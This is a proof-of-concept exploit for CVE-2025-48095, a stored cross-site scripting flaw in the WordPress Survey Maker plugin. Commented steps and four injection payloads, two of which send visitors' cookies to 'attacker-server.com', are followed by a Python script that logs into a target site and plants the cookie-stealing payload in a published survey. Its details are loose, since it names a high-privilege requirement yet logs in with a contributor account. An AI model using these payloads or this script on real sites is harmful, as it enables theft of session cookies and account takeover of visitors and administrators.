CVE-2025-48095

<!-- Stored XSS PoC for CVE-2025-48095: Survey Maker Plugin <= 5.1.8.8 --> <!-- Attack Vector: Inject malicious script into survey fields (title, description, question text, options) --> <!-- Requires: High privilege user (PR:H) such as admin or editor --> <!-- Step 1: Login as admin/editor with Survey Maker edit permissions --> <!-- Step 2: Navigate to Survey Maker > Add New Survey --> <!-- Step 3: Inject the following payloads into vulnerable input fields --> <!-- Payload 1: Basic cookie stealing via script tag --> <script>document.location='https://attacker-server.com/steal?cookie='+document.cookie</script> <!-- Payload 2: Cookie stealing via img onerror (bypasses some filters) --> <img src=x onerror="fetch('https://attacker-server.com/steal?c='+document.cookie)"> <!-- Payload 3: Using SVG with onload event --> <svg/onload=alert(document.domain)> <!-- Payload 4: Using input autofocus with onfocus --> <input onfocus=alert('XSS') autofocus> <!-- Step 4: Save the survey --> <!-- Step 5: When any victim (including unauthenticated visitors) views the survey page, the malicious script executes in their browser context --> <!-- Python exploit example for automated testing --> import requests TARGET_URL = "https://target-wordpress-site.com" USERNAME = "contributor_account" PASSWORD = "password123" ATTACKER_WEBHOOK = "https://attacker-server.com/steal" session = requests.Session() # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f'{TARGET_URL}/wp-admin/', 'testcookie': '1' } session.post(f'{TARGET_URL}/wp-login.php', data=login_data) # XSS payload to inject into survey title or description field xss_payload = f'<script>document.location="{ATTACKER_WEBHOOK}?c="+document.cookie</script>' # Create or edit survey with injected payload (endpoint may vary) survey_data = { 'title': xss_payload, 'description': xss_payload, 'survey_status': 'published', # Additional fields as required by the plugin } # Submit to survey creation endpoint response = session.post( f'{TARGET_URL}/wp-admin/admin.php?page=survey-maker&action=add_survey', data=survey_data ) print(f"Survey created with XSS payload. Status: {response.status_code}") print(f"Payload stored. Victims visiting the survey will execute: {xss_payload}")

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